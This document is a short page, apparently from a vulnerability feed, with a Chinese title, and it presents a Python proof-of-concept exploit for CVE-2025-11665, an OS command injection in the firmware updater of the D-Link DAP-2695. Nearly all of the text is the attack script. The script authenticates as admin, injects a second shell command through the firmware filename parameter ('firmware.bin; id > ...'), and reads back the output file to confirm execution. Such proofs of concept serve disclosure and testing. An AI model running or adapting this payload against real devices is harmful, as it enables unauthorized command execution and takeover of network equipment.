CVE-2025-11665：D-Link DAP-2695固件更新组件OS命令注入漏洞

# CVE-2025-11665 PoC - D-Link DAP-2695 OS Command Injection # Vulnerability: OS Command Injection in fwupdater_main function of rgbin # Affected: D-Link DAP-2695 firmware version 2.00RC131 # Note: Requires high privileges (admin authentication) import requests from requests.auth import HTTPBasicAuth TARGET_URL = "http://TARGET_IP" ADMIN_USER = "admin" ADMIN_PASS = "admin_password" def exploit_command_injection(): """ Exploit OS command injection in the firmware update handler. The fwupdater_main function in rgbin fails to sanitize input, allowing OS command injection via crafted parameters. """ session = requests.Session() # Step 1: Authenticate to obtain required privileges (PR:H) login_url = f"{TARGET_URL}/login.cgi" login_data = { "username": ADMIN_USER, "password": ADMIN_PASS, } session.post(login_url, data=login_data) # Step 2: Trigger command injection via firmware update endpoint # The vulnerable parameter is passed to fwupdater_main without sanitization update_url = f"{TARGET_URL}/fwupdater_main.cgi" # Inject OS command via the vulnerable parameter # Example: inject 'id' command to verify exploitation injected_payload = "firmware.bin; id > /tmp/pwned_output.txt" payload_data = { "fwupdater_action": "update", "fwupdater_filename": injected_payload, } response = session.post(update_url, data=payload_data) print(f"[*] Exploit sent. Status: {response.status_code}") # Step 3: Verify command execution verify_url = f"{TARGET_URL}/pwned_output.txt" verify_response = session.get(verify_url) if verify_response.status_code == 200: print(f"[+] Command execution confirmed: {verify_response.text}") else: print("[-] Could not verify command execution") if __name__ == "__main__": exploit_command_injection()